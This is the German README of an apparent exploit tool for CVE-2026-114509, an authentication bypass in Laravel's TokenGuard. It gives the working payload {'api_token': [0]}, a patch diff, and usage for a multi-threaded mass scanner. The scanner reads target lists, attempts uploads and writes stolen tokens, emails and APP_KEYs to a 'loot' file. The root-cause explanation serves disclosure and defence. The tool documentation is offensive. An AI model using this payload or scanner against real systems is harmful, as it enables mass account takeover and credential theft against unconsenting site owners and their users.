
Umgehung der Laravel-TokenGuard-Authentifizierung durch nicht-stringförmige API-Anmeldedaten
Laravel TokenGuard-Authentifizierungsumgehung durch nicht-stringförmige API-Anmeldedaten
Nicht authentifizierte Authentifizierungsumgehung im Laravel Framework — TokenGuard API Guard
CVE-2026-114509 ist eine kritische Authentifizierungsumgehungs-Schwachstelle im integrierten TokenGuard des Laravel Frameworks.
Wenn er mit einem standardmäßigen tokenbasierten API-Guard auf MySQL oder MariaDB konfiguriert ist, kann ein nicht authentifizierter Angreifer manipulierte, nicht-stringförmige Anmeldedaten (ein JSON-Array) übermitteln, wodurch die Authentifizierungsabfrage auf einen unbeabsichtigten bestehenden Benutzer passt — und so vollständigen Zugriff ohne Kenntnis eines gültigen API-Tokens gewährt.
Dies führt zu einer vollständigen Kontoübernahme auf jeder Route, die durch den betroffenen Guard geschützt ist.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| Betroffene Software | Laravel Framework (laravel/framework) |
| Betroffene Versionen | < 12.68.0 und >= 13.0.0, < 13.29.0 |
| Typ | Authentifizierungsumgehung |
| CWE | CWE-287 — Unsachgemäße Authentifizierung |
| CWE | CWE-1287 — Unsachgemäße Validierung des angegebenen Eingabetyps |
| CVSS 4.0 Score | 9.2 / 10 — KRITISCH |
| CVSS-Vektor | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Authentifizierung | Keine erforderlich (Pre-Auth) |
| Bedingung | MySQL / MariaDB-Backend |
| Patch | v12.68.0 / v13.29.0 |
| Metrik | Wert | Bedeutung |
|---|---|---|
| Angriffsvektor | Netzwerk | Aus der Ferne über das Internet ausnutzbar |
| Angriffskomplexität | Niedrig | Keine besonderen Bedingungen außer MySQL/MariaDB |
| Angriffsvoraussetzungen | Vorhanden | Erfordert MySQL/MariaDB-Typumwandlungsverhalten |
| Erforderliche Privilegien | Keine | Keine Authentifizierung erforderlich |
| Benutzerinteraktion | Keine | Keine Aktion des Opfers erforderlich |
| Vertraulichkeit | Hoch | Vollständiger Lesezugriff auf authentifizierte Benutzerdaten |
| Integrität | Hoch | Kann Daten als der umgangene Benutzer ändern |
| Verfügbarkeit | Hoch | Kann den Dienst durch Kontoübernahme stören |
Dies ist ein Typverwechslungs-Fehler an der Grenze zwischen HTTP-Anfrageparsing, PHP-Framework-Logik und SQL-Datenbankverhalten. Drei gewöhnliche Verhaltensweisen wirken zusammen, um die Schwachstelle zu erzeugen:
TokenGuard akzeptiert nicht-stringförmige Eingaben — Die Methode user() in TokenGuard.php verwendet !empty($token) anstelle von is_string($token) && !empty($token). JSON-Anfragekörper können Arrays oder Ganzzahlen als Token-Wert liefern.
EloquentUserProvider erstellt eine WHERE IN-Abfrage — Wenn retrieveByCredentials() einen Array-Wert erhält, generiert es WHERE api_token IN (...) anstelle von WHERE api_token = ....
MySQL-Typumwandlung — MySQL konvertiert String-Spalten für den Vergleich in Zahlen. Die Ganzzahl 0 passt auf jeden String, der nicht mit einer Ziffer beginnt (was auf die meisten API-Tokens zutrifft), da MySQL diese Strings in 0.0 umwandelt.
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel hat TokenGuard.php gepatcht, indem eine Typüberprüfung hinzugefügt wurde — wenn das Token kein String ist, gibt der Guard sofort null zurück und ruft niemals den User-Provider auf:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
Das Tool unterstützt zwei Modi: Massenscan und Einzelziel-Tiefenprüfung.
Scannt eine Liste von Zielen auf die Schwachstelle:
python CVE-2026-114509.py scan targets.txt
Optionen:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| Flag | Standard | Beschreibung |
|---|---|---|
targets | (erforderlich) | Datei mit Ziel-URLs (eine pro Zeile) |
--threads | 60 | Anzahl der gleichzeitigen Threads |
--timeout | 12 | Anfrage-Timeout in Sekunden |
Zieldateiformat (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
Ziele ohne Schema verwenden standardmäßig
https://.
Ausgabedateien (im Skriptverzeichnis erstellt):
| Datei | Inhalt |
|---|---|
LV_DETECTED.txt | Alle erkannten Laravel-Anwendungen |
LV_BYPASS.txt | Bestätigte Authentifizierungsumgehungen |
LV_UPLOAD.txt | Ergebnisse der Upload-Versuche |
LV_LOOT.txt | Extrahierte Daten (Tokens, E-Mails, APP_KEYs, Benutzerdaten) |
Tiefgehende Untersuchung eines einzelnen Ziels mit ausführlicher Ausgabe:
python CVE-2026-114509.py single https://target.com
Optionen:
python CVE-2026-114509.py single https://target.com --timeout 15
Dies führt alle vier Phasen nacheinander mit detaillierter Ausgabe aus:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401